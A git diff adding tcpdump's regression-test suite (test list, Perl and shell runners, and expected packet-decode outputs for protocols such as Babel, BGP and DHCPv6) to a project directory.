+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53555, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53571, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696987c, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/TESTLIST b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTLIST
new file mode 100644
index 0000000000000000000000000000000000000000..4ee9633d92697e26c14962852ef591329db2db45
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTLIST
@@ -0,0 +1,96 @@
+# BGP tests
+bgp_vpn_attrset bgp_vpn_attrset.pcap bgp_vpn_attrset.out -t -v 
+mpbgp-linklocal-nexthop mpbgp-linklocal-nexthop.pcap mpbgp-linklocal-nexthop.out -t -v
+
+# EAP tests
+eapon1 eapon1.pcap eapon1.out -t 
+
+# ESP tests
+esp0 02-sunrise-sunset-esp.pcap esp0.out -t -n
+esp1 02-sunrise-sunset-esp.pcap esp1.out -t -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x4043434545464649494a4a4c4c4f4f515152525454575758" 
+esp2 08-sunrise-sunset-esp2.pcap esp2.out -t -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x43434545464649494a4a4c4c4f4f51515252545457575840,0xabcdabcd@192.0.1.1 3des-cbc-hmac96:0x434545464649494a4a4c4c4f4f5151525254545757584043"
+esp3 02-sunrise-sunset-esp.pcap esp1.out -t -E "3des-cbc-hmac96:0x4043434545464649494a4a4c4c4f4f515152525454575758"
+esp4 08-sunrise-sunset-esp2.pcap esp2.out -t -E "file esp-secrets.txt"
+esp5 08-sunrise-sunset-aes.pcap esp5.out -t -E "file esp-secrets.txt"
+espudp1 espudp1.pcap                    espudp1.out -nnnn -t -E "file esp-secrets.txt"
+
+# ISAKMP tests
+isakmp1 isakmp-delete-segfault.pcap isakmp1.out -t 
+isakmp2 isakmp-pointer-loop.pcap    isakmp2.out -t
+isakmp3 isakmp-identification-segfault.pcap isakmp3.out -t -v
+isakmp4 isakmp4500.pcap             isakmp4.out -t -E "file esp-secrets.txt"
+
+# LMP tests (what is it?)
+# fails right now.
+#lmp     lmp.pcap                    lmp.out -t -v -v
+
+# MPLS tests
+mpls-ldp-hello	mpls-ldp-hello.pcap	mpls-ldp-hello.out -t -v
+
+# OSPF tests
+ospf-gmpls	ospf-gmpls.pcap		ospf-gmpls.out	-t -v
+
+# IKEv2 tests
+ikev2four	ikev2four.pcap		ikev2four.out	-t -v
+ikev2fourv	ikev2four.pcap		ikev2fourv.out	-t -v -v -v 
+ikev2fourv4	ikev2four.pcap		ikev2fourv4.out	-t -v -v -v -v
+ikev2pI2	ikev2pI2.pcap		ikev2pI2.out	-t -E "file ikev2pI2-secrets.txt" -v -v -v -v
+
+# IETF ROLL RPL packets
+dio01           dio.pcap                dio.out         -t -v
+
+# IPNET encapsulated site
+e1000g		e1000g.pcap		e1000g.out	-t
+
+# IETF FORCES WG packets and printer
+forces01        forces1.pcap            forces1.out     -t
+forces01vvv     forces1.pcap            forces1vvv.out  -t -v -v -v 
+forces01vvvv    forces1.pcap            forces1vvvv.out -t -v -v -v -v
+# need new pcap file, not sure what the differences were?
+#forces02        forces2.pcap            forces2.out     -t
+#forces02v       forces2.pcap            forces2v.out    -t -v
+#forces02vv      forces2.pcap            forces2vv.out   -t -v -v
+
+# 802.1ad, QinQ tests 
+qinq            QinQpacket.pcap         QinQpacket.out  -t -e
+qinqv           QinQpacket.pcap         QinQpacketv.out  -t -e -v
+
+# now SFLOW tests
+sflow1          sflow_multiple_counter_30_pdus.pcap     sflow_multiple_counter_30_pdus.out      -t -v
+
+# Babel tests
+babel1          babel.pcap             babel1.out      -t 
+babel1v         babel.pcap             babel1v.out     -t -v
+babel_auth      babel_auth.pcap        babel_auth.out  -t -v
+
+# PPPoE tests
+pppoe           pppoe.pcap             pppoe.out       -t
+
+# IGMP tests
+igmpv3-queries  igmpv3-queries.pcap     igmpv3-queries.out      -t
+
+# ICMPv6
+icmpv6          icmpv6.pcap             icmpv6.out      -t -vv
+
+# SPB tests
+spb	            spb.pcap	            spb.out -t
+
+# SPB BPDUv4 tests
+spb_bpduv4      spb_bpduv4.pcap       spb_bpduv4.out -t
+
+# RIP tests
+ripv1v2         ripv1v2.pcap            ripv1v2.out     -t -v
+ripv2_auth      ripv2_auth.pcap         ripv2_auth.out  -t -v
+
+# DHCPv6 tests
+dhcpv6-aftr-name	dhcpv6-AFTR-Name-RFC6334.pcap	dhcpv6-AFTR-Name-RFC6334.out	-t -v
+dhcpv6-ia-na	dhcpv6-ia-na.pcap	dhcpv6-ia-na.out	-t -v
+dhcpv6-ia-pd	dhcpv6-ia-pd.pcap	dhcpv6-ia-pd.out	-t -v
+dhcpv6-ia-ta	dhcpv6-ia-ta.pcap	dhcpv6-ia-ta.out	-t -v
+
+# ZeroMQ tests
+zmtp1v		zmtp1.pcap		zmtp1.out	-t -v -T zmtp1
+
+# MS NLB tests
+msnlb		msnlb.pcap		msnlb.out	-t
+msnlb2		msnlb2.pcap		msnlb2.out	-t
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/TESTonce b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTonce
new file mode 100755
index 0000000000000000000000000000000000000000..c5bcb34b07737ecc0f7a20c843831ed343112ad9
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTonce
@@ -0,0 +1,39 @@
+#!/usr/bin/perl
+
+$debug = 0;
+system("mkdir -p NEW DIFF");
+
+if(@ARGV == 1) {
+  open(TESTLIST, "TESTLIST") || die "can not open TESTLIST: $!\n";
+  $wanted = $ARGV[0];
+  #print "Searching for test case $wanted\n";
+  while(<TESTLIST>) {
+    #print "Processing $_\n";
+    next unless (/^$wanted/);
+
+    chop;
+    ($name,$input,$output,$options)=split(/\s+/,$_, 4);
+    last;
+  }
+  close(TESTLIST);
+
+  die "Can not find test $wanted\n" unless defined($input);
+
+} elsif(@ARGV == 4) {
+  $name=$ARGV[0];
+  $input=$ARGV[1];
+  $output=$ARGV[2];
+  $options=$ARGV[3];
+} else {
+  print "Usage: TESTonce name [input output options]\n";
+  exit 20;
+}
+
+print "Running $name. \n" if $debug;
+print "   Input: $input, OUTPUT: $output, OPTIONS: $options\n" if $debug;
+
+print "    ";
+exec("../tcpdump 2>/dev/null -n -r $input $options | tee NEW/$output | diff -w - $output >DIFF/$output.diff");
+@cores = glob("core*");
+exit 10 if (@cores > 0);
+exit 0;
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/TESTrun.sh b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTrun.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d1baaa7be6039c184a4353713a6c6bda8da82404
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/TESTrun.sh
@@ -0,0 +1,71 @@
+#!/bin/sh
+
+mkdir -p NEW
+mkdir -p DIFF
+passed=0
+failed=0
+cat /dev/null > failure-outputs.txt
+
+# first run any specific tests.
+for i in *.sh
+do
+  case $i in TEST*.sh) continue;; esac
+
+  if sh ./$i >DIFF/$i.result
+  then
+      echo $i: passed.
+      rm -f DIFF/$i.result
+      passed=`expr $passed + 1`
+  else
+      echo $i: failed.
+      failed=`expr $failed + 1`
+  fi          
+done 
+
+echo $passed >.passed
+echo $failed >.failed
+
+# now run typical tests
+cat TESTLIST | while read name input output options
+do
+  case $name in
+      \#*) continue;;
+      '') continue;;
+  esac
+
+  if ./TESTonce $name $input $output "$options"
+  then
+      echo $name: passed.
+      rm -f DIFF/$output.diff
+      passed=`expr $passed + 1`
+      echo $passed >.passed
+  else
+      echo $name: failed.
+      failed=`expr $failed + 1`
+      echo $failed >.failed
+      echo "Failed test: $name" >> failure-outputs.txt
+      echo >> failure-outputs.txt
+      cat DIFF/$output.diff >> failure-outputs.txt
+      echo >> failure-outputs.txt
+  fi
+done 
+
+# I hate shells with their stupid, useless subshells.
+passed=`cat .passed`
+failed=`cat .failed`
+
+# exit with number of failing tests.
+echo 
+echo
+printf "%4u tests failed\n" $failed
+printf "%4u tests passed\n" $passed
+echo
+echo
+cat failure-outputs.txt
+echo
+echo
+exit $failed      
+
+
+
+
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/babel.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/babel.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..a9ab2b81d6eb362e0b4a4c045f387c565b7cf773
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/babel.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/babel1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/babel1.out
new file mode 100644
index 0000000000000000000000000000000000000000..2243847f5ad650b24c0ce1ddefa237e303ec9f91
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/babel1.out
@@ -0,0 +1,25 @@
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (110) update/prefix/id nh update update/prefix/id update update
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (52) update/prefix/id update/prefix update/prefix
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+IP6 fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+IP6 fe80::68d3:1235:d068:1f9e > ff02::16: HBH ICMP6, multicast listener report v2, 2 group record(s), length 48
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/babel1v.out b/peasoup_examples/tests/tcpdump/tcpd_tests/babel1v.out
new file mode 100644
index 0000000000000000000000000000000000000000..0e1c9af736a156aa19c88b6c44b2713d7b94618b
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/babel1v.out
@@ -0,0 +1,51 @@
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 8042 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 40102 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 122) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (110)
+	Update/prefix/id 2001:660:3301:8063:218:84ff:fe1a:615d/128 metric 1 seqno 32272 interval 8000
+	Next Hop 192.168.4.25
+	Update 192.168.4.195/32 metric 1 seqno 32272 interval 8000
+	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 0 seqno 40149 interval 8000
+	Update ::/0 metric 196 seqno 40149 interval 8000
+	Update 192.168.4.25/32 metric 0 seqno 40149 interval 8000
+IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+	Hello seqno 8043 interval 2000
+	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 40103 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 8044 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+	Hello seqno 40104 interval 2000
+	IHU fe80::68d3:1235:d068:1f9e txcost 96 interval 6000
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 8045 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 20) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (8)
+	Hello seqno 40105 interval 2000
+IP6 (hlim 1, next-header UDP (17) payload length: 64) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (52)
+	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+	Update/prefix 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+IP6 (hlim 1, next-header UDP (17) payload length: 50) fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: [udp sum ok] UDP, length 42
+IP6 (hlim 1, next-header UDP (17) payload length: 36) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (24)
+	Hello seqno 8046 interval 2000
+	IHU fe80::3428:af91:251:d626 txcost 96 interval 6000
+IP6 (hlim 1, next-header UDP (17) payload length: 40) fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (28)
+	Update/prefix/id 2001:660:3301:8063:218:f3ff:fea9:914e/128 metric 65535 seqno 40149 interval 8000
+IP6 (hlim 1, next-header UDP (17) payload length: 44) fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: [udp sum ok] babel 2 (32)
+	MH-Request (127 hops) for 2001:660:3301:8063:218:f3ff:fea9:914e/128 seqno 40150 id 02:18:f3:ff:fe:a9:91:4e
+IP6 (hlim 64, next-header UDP (17) payload length: 188) fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: [udp sum ok] UDP, length 180
+IP6 (hlim 1, next-header Options (0) payload length: 56) fe80::68d3:1235:d068:1f9e > ff02::16: HBH (rtalert: 0x0000) (padn)[icmp6 sum ok] ICMP6, multicast listener report v2, 2 group record(s) [gaddr ff02::1:6 to_ex, 0 source(s)] [gaddr ff02::cca6:c0f9:e182:5359 to_ex, 0 source(s)]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.out b/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.out
new file mode 100644
index 0000000000000000000000000000000000000000..dcaafe14ded9928272bfd30ff5af7d47a21ceb99
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.out
@@ -0,0 +1,13 @@
+IP6 (class 0xc0, hlim 1, next-header UDP (17) payload length: 436) fe80::b299:28ff:fec8:d646.6696 > ff02::1:6.6696: [udp sum ok] babel 2 (424)
+	Hello seqno 58134 interval 400
+	Update/id ::/0 metric 65535 seqno 41391 interval 65535
+	Request for any
+	TS/PC timestamp 1339081200 packetcounter 2
+	HMAC key-id 30 digest-20 AD0FA7CD8D5A1898EC5409C8EDDA68B3ACA21B80
+	HMAC key-id 50 digest-32 8239F283D985047FA4B88597FDE3246455C6E4DD917B1441C2F3A82B9F737674
+	HMAC key-id 1000 digest-64 6718CB4C2BB0976C127AB3CCCBFA1105A1D158F035BC9FAD86B0610A7ACD27E5A3D5A3090FFB0312D7CBB31834E5D3EA2B68CD1FEC3CFB9CE731D16BA8FEBA8C
+	HMAC key-id 1000 digest-48 D2A5B80FF9D006907E3B6601C0C255D7D12D6EC61815E413A334E2A0D9271C75AFBC086C070C714E3EFF3496C20C56FB
+	HMAC key-id 100 digest-20 7213CED66FE7154034EC64CD14AE4142A092DF33
+	HMAC key-id 2000 digest-64 2A5D9D55393B19E440FAC49BDA521E18A7FE77F7AB4A90377009E46E2FFE49336435C7E4E7BE215996DF4F59C167EA1CCCDB4FF788DA29A30E34D974307ADFF4
+	HMAC key-id 2000 digest-48 FE91AF27EEE137EF489F37FEE449100CDA8CCB3E794D0C4A225D12724A8CE2FFC85811B879CC566FD172269847091ED1
+	HMAC key-id 3000 digest-64 38C4D82883A5778500D728D1E243E7579DE96FA726C9DB7F0805C52E96FEFDCE7A5FB9AF2CB845703926EAAB43C3E44989D6CCB158FC06DB455E9F8D0550B54F
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..941e6282518705a282a435da288dec463e721bd2
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/babel_auth.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/bgp-infinite-loop.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp-infinite-loop.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..9f07d41228266c2a34be727de5fba4a79d118a35
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp-infinite-loop.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.out b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.out
new file mode 100644
index 0000000000000000000000000000000000000000..a0a9f1c097b9bfbc6e0914c34debe7f5f36d29ff
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.out
@@ -0,0 +1,19 @@
+IP (tos 0xc0, ttl 62, id 58628, offset 0, flags [none], proto TCP (6), length 173)
+    12.4.4.4.2051 > 12.1.1.1.179: Flags [P.], cksum 0xcf18 (correct), seq 3293077573:3293077694, ack 3348108582, win 16384, options [nop,nop,TS val 383131 ecr 890299], length 121: BGP, length: 121
+	Update Message (2), length: 121
+	  Origin (1), length: 1, Flags [T]: IGP
+	  AS Path (2), length: 0, Flags [T]: empty
+	  Local Preference (5), length: 4, Flags [T]: 100
+	  Extended Community (16), length: 8, Flags [OT]: 
+	    target (0x0002), Flags [none]: 300:300 (= 0.0.1.44)
+	  Attribute Set (128), length: 36, Flags [OT]: 
+	    Origin AS: 65001
+	      Origin (1), length: 1, Flags [T]: IGP
+	      AS Path (2), length: 4, Flags [T]: 5555 
+	      Local Preference (5), length: 4, Flags [T]: 44
+	      Originator ID (9), length: 4, Flags [O]: 22.5.5.5
+	      Cluster List (10), length: 4, Flags [O]: 22.5.5.5
+	  Multi-Protocol Reach NLRI (14), length: 30, Flags [OE]: 
+	    AFI: IPv4 (1), SAFI: labeled VPN Unicast (128)
+	    nexthop: RD: 0:0 (= 0.0.0.0), 12.4.4.4, nh-length: 12, no SNPA
+	      RD: 500:500 (= 0.0.1.244), 133.0.0.0/8, label:100208 (bottom)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..e60aff5c838bf9cd06213d916d83c94b91b111af
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/bgp_vpn_attrset.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp-short.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp-short.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..41313dcca9bfec2872be342dfa44f01953a3d08c
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp-short.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..1521443a8f15788b24c59940549735f0f58418c9
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/chdlc-slarp.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.out b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.out
new file mode 100644
index 0000000000000000000000000000000000000000..13f6a4fae568cb6308389897d9797f711042ce1f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.out
@@ -0,0 +1,4 @@
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=d81eb8 (client-ID hwaddr type 1 000102030405) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=d81eb8 (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=1e291d (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (option-request DNS-server AFTR-Name) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+IP6 (hlim 64, next-header UDP (17) payload length: 142) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=1e291d (IA_PD IAID:33752069 T1:150 T2:250 (IA_PD-prefix 2a00:1:1:100::/56 pltime:250 vltime:300)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 406802160 001122334455) (preference 10) (DNS-server 2a01::1) (AFTR-Name aftr-name.mydomain.net))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..d6b353ebddb5ce33925e58e93bb51c7175a754fc
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-AFTR-Name-RFC6334.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.out b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.out
new file mode 100644
index 0000000000000000000000000000000000000000..b1dd0f0210a6040162348a7ff8148c64891f4371
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.out
@@ -0,0 +1,4 @@
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=90b45c (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400))
+IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=90b45c (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 102) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2ffdd1 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:7200 vltime:7500)))
